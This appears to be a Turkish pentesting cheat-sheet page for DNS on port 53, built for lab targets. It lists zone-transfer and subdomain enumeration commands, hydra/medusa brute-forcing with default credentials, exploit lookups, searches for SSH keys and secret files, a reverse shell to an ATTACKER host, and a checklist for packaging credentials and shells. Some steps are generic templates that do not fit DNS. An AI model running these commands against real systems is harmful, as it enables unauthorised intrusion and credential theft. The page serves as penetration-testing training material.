Skip to content

53 - Pentesting DNS

DNS enum

DNS bilgi ve bazen zone transfer ile iç harita sızdırır; kötü yapılandırma spoof/cache yolları açar. Hedef lab IP’si üzerinde komutları 53 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 53 TCP/UDP.

  2. AXFR.

  3. Enum records.

  4. Interesting names.

Terminal window
nmap -Pn -sU -sV -p53 TARGET
Terminal window
dig @$TARGET TARGET ANY +notcp
Terminal window
dig @$TARGET TARGET AXFR
Terminal window
dnsenum --dnsserver TARGET domain.com
Terminal window
gobuster dns -d domain.com -w sub.txt -r TARGET
Terminal window
fierce --domain domain.com --dns TARGET

DNS için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p53 TARGET
Terminal window
nmap -Pn -p53 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:53' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',53));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → DNS
Terminal window
hydra -L users.txt -P rockyou.txt -s 53 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 53
Terminal window
nmap -p53 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit DNS
Terminal window
msfconsole -q -x 'search DNS; exit'
Terminal window
nuclei -u https://TARGET:53 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:53 -tags tech -silent || true
Terminal window
nc -nv TARGET 53
Terminal window
printf '
' | timeout 3 nc -nv TARGET 53
Terminal window
curl -vk --http1.0 http://TARGET:53/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
dig → AXFR/enum → internal map / names